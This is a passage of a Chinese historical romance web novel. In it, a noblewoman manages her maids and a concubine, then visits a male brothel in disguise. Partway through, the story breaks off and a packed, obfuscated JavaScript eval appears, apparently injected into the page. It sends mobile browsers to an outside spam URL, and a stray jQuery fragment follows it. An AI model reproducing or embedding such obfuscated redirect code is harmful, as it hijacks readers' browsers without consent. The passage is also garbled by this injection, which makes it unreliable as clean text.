岑景舒抬头望了眼漫天飞雪,又看了看一动不动守在门外,肩前些许发丝结了层冰霜的夏意,眼神暗了下去,转瞬后又恢复如常。
她快步走了过去,见春喜将手炉塞给了夏意,手炉的暖意很快便将夏意发丝上的冰霜融化,湿漉漉粘成了一缕。
“夏意,你回吧,记得去小厨房要一碗姜汤。”
“是,主子。”
夏意又将手炉送回春喜怀中,在春喜还没反应过来前大踏步离开了。
“夏……”
岑景舒拍了拍春喜的肩膀,低声道:“好了春喜,夏意会一些武功,身子骨比你我好多了,不用担心。”
“可。”春喜抱紧了火炉,紧咬着下唇,眸中充满了怒火死死瞪着厢房门。
门“吱呀”一声从里面被拉开,一张我见犹怜楚楚动人的脸露出,来人弯了弯眉,让出了位置笑道:“是姐姐来了。”
“谁是你姐姐,不要脸!”春喜垂着头,“小声”嘟囔着接话道。
霜月脸上浮现尴尬之色,瞬间泪水便已蓄满了眼眶,却忍着未让泪珠滴落,苦笑一声后自嘲道:“是霜月给姐姐添麻烦了,都是霜月不好。”
岑景舒拉过霜月的手,笑着安抚道:“怎会?这里哪有什么霜月?你是我的义妹,岑父的二小姐,岑景月。”
“妹妹可要记住了,不要忘了自己的身份。”
她意有所指说完这句话后,偏过头轻声呵斥道:“春喜,给二小姐道歉,然后去找夏意领罚。”
“主子!”
岑景舒冷下脸,沉声道:“需要我重复第二遍吗?”
“是奴婢不好,冲撞了二小姐,还请二小姐恕罪。”春喜敷衍地朝着霜月行了一礼。
而后也没等霜月回话,又朝着二人分别行了一礼,道:“二位主子聊,奴婢去找夏意姐姐领罚了,奴婢告退。”
说罢,春喜便气呼呼走了。
霜月全程没有插上一句话,末了犹犹豫豫望着春喜的背影道:“姐姐,能不能不要罚春喜,我知晓,她也是为了姐姐好。”
岑景舒同样转过身去看春喜的背影,挡住了霜月的视线,声音如同方才一样带着笑意,脸色却彻底冷了下来。
“无碍,让她长些记性罢了。”
她再次转过身时,唇角勾起,挽着霜月的胳膊宛如亲姐妹般进了厢房,道:“不提那丫头了,妹妹找我来,是有什么事吗?”
“找我来有什么事?”
清冷的声音在房间内响起,夏意用手帕仔细来回擦着剑刃,分出神来询问坐下后一言不发,但明显窝了满肚子气的小丫头。
“主子让我来找你领罚。”
夏意擦剑刃的手一顿,而后将剑插回剑鞘,帕子被丢在一旁,顺手拿起一众刀剑中摆放着的长棍,应道:“跟我来。”
春喜十指握拳,猛然砸在桌案上,几个茶杯被震得哗啦作响。
“凭什么!”
她愤恨道:“本就是那贱女人同长公子苟合,主子大发慈悲允她入府,还费尽心思为她弄了个假身份,她就是这么回报主子的!”
“她在厢房内烤着炭火,让你在冰天雪地里守着,若是换了个体弱的,非要冻坏身子落下病根不可!”
“这不就是打主子的脸吗!”
“你也是,主子也是,都那么纵着那贱人做什么!”
夏意沉默听完她的控诉,点了点头,冷静道:“主子自有她的打算。”
“过来领罚。”
“夏意!”
夜幕悄然降临。
岑景舒回到书房,拿起新一本账簿,下意识道:“春喜,研磨。”
“是。”
听到跟外面的寒风一般无二的声音后,岑景舒抬起头,看到夏意有些粗糙的手在稳稳研磨。
随即她便想到了春喜被罚一事。
她摇了摇头,轻笑一声,道:“我让春喜去找你领罚,那丫头娇气得很,你还真舍得用力打。”
“主子吩咐,奴婢不敢不从。”
岑景舒挑眉,夏意和春喜不同,春喜缺心眼性格直来直去,心里想的是什么,全表现在脸上了。
而夏意则是用坚硬冰冷的外壳包裹住一颗炽热柔软的心,心思缜密而又善于伪装,若不是熟悉的人,很难察觉出其究竟在想些什么。
但好巧不巧,熟悉夏意的人不多,她算一个,春喜算半个。
“你知我罚春喜是为了什么,那丫头这样的性子,日后去了夫家,是要吃亏的。”
“至于霜月,我想你也明白。”
夏意研磨的动作不停,回道:“是,奴婢明白。”
“那就不要再想此事了,待日后我带你和春喜去逍遥快活。”
“不必研磨了,歇息吧。”岑景舒合上账簿,眼眶有些发酸,困意席卷全身。
“是。”
崔怀松纳妾一事并未引起太大轰动,一来他风流成性的形象深入人心,二来崔府也是按照正常纳妾礼举办,并未大肆宣扬。
寻了个黄道吉日,一顶小花轿抬入府,而后向府上主子敬茶,此后霜月便彻彻底底是崔怀松的人了。
小妾没有独立的院落,只分了几间偏房,但崔怀松不忍他的霜月妹妹受委屈,便将人接到了他的院里。
嬉笑声透过墙瓦混着风雪传来。
“吵得人心烦!”春喜斜了一眼白墙,手下一个用力不小心把一株红艳的山茶花折了下来。
春喜手僵硬停住,偏头有些心虚地瞄了一眼正在认真修花的夏意,眼珠滴溜溜转了几圈,轻咳道:“夏意姐姐,你去那边修花吧,这边交给我吧。”
夏意没有抬头,依旧在认真修理着花朵,却好似背后长了眼睛,淡声道:“放下吧,我会向主子解释。”
春喜闻言立刻将手中的花朵丢下,跑去挽住夏意的胳膊,道:“夏意姐姐最好了!”
“主子喜欢你是不会罚你的,千万不要跟主子讲是我弄坏的!不然主子非要扒了我的皮不可!”
“嗯。”
“有人来了。”
春喜不疑有他,下意识转过头,脸上还带着劫后重生的笑意,而后缩着头迅速躲到了夏意后面。
“主子!”
岑景舒无奈一笑,道:“看来上次还是罚得轻了。”
“好了,别闹了,我出去一趟。”
她将腰间玉佩取下,又找出面纱,连同一身夸身绯红色艳丽风格的衣裙装进一个包裹,带着一个堆满了金银珠钗的盒子便出了门。
春喜和夏意一头雾水,但也没有多问,目送着自家主子闲庭信步走了出去。
马车上—
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445727|185096||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
—
一袭红衣的女子懒散地躺在其中,面容被赤红色面纱遮得严严实实,只露出一双多情潋滟的桃花眼,发髻上和浑身上下堆满了首饰。
任谁来看,也不会觉得这是那个素来喜简,温柔贤淑的岑景舒。
下了马车后,她丢给车夫一两银子,那车夫眉飞眼笑地接过,而后迅速消失在了她的视线内。
市井的嘈杂声异常吵闹,摊贩的叫卖声、百姓讨价还价的争吵声、小孩子的哭闹声,以及街上行人来来往往的切切交谈声,一股脑地涌入她的耳内。
岑景舒一袭红衣,桃花眼不加掩饰地直勾勾望着南天楼。
这南天楼位于洛京东边的闹市之中,明面上是一个酒楼,实则里面全是风月男子,据说那些男子个个俊美无比,能把人哄得心花怒放。
只要有银子,做什么都可以。
而她,最不缺的便是银子。
崔怀松跟美人儿郎情妾意,她自然也可以潇洒快活,就算他知晓了,有约定在前,也不能拿她怎么样。
“哎哟~这位小姐,您里面请!”掌柜的见到她立刻笑着弯腰迎上来,接着道:“小姐第一次来吧?小的给您介绍一下。”
“咱们这里,什么样的男人都有,只要您提出来,小的就你能给您送来。您要是想自己挑,雅间内有画像册,画像一旁还有此人的生平性格介绍。”
“二楼雅间仅剩一号房了,最外面那间便是。”
岑景舒漫不经心听着,眼神下意识扫视四周环境,却同角落处的一个黑衣人对上了视线,那人眼神锐利,整张脸极具攻击性,好似看了自己很久。
她移开视线,看向掌柜,指着角落的方向刻意哑着嗓音道:“不必选了,就他了。”
掌柜的顺着她的手看过去,整个人抖了一下,颤声道:“小,小姐,这,这个不行。”
岑景舒蹙眉,有些不耐烦道:“有问题?”
“有约了?”
“我出三倍银子,把人送到我的房间。”
说罢她不等掌柜的回话,自行去了二楼雅间。
岑景舒关上雅间门后长舒一口气,首次出来玩男人的刺激感使心脏止不住狂跳,随便扫了一眼布局,随意找了个地方盘膝而坐,平复着七上八下的心情。
她脑海中又回忆起那男子的面容,狭长的眼睛本应是妖冶的,可那人高挺的鼻梁和紧绷的薄唇,给人一种极强的冲击。
就好似开在枯骨之上的玫瑰花,神秘而危险,诱惑引导你坠向无尽深渊。
岑景舒等了片刻后也不见有人上来,想来那掌柜从别的小姐那里将人要走,也要废不少时间,索性认真打量起雅间的布局来。
装饰器具什么的都中规中矩,算不得奇珍异宝,但也不是寻常物件,尤其墙上挂着的几副字画中,有几副她还颇为欣赏。
桌案之上茶具、酒具、香炉等一应俱全,琴桌之上放了厚厚的一本册子,应当就是那掌柜的口中的画册。
除下这些,便是各种五花八门的用具了,锁链、鞭子、绳索……
岑景舒抿了抿嘴,视线重新落回那厚厚的册子之上。
正当她想要起身去看册子时,门外传来不轻不重的脚步声。
是她要的人来了。
岑景舒不禁有些出神,待会要怎么玩?